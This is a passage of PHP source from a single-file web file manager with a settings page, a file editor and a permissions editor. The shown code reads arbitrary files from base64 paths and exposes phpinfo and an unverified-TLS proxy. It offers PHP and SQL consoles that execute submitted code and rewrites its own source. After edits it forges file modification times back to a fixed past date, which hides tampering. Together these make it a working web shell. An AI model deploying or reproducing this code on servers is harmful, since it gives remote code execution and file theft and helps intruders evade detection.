			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
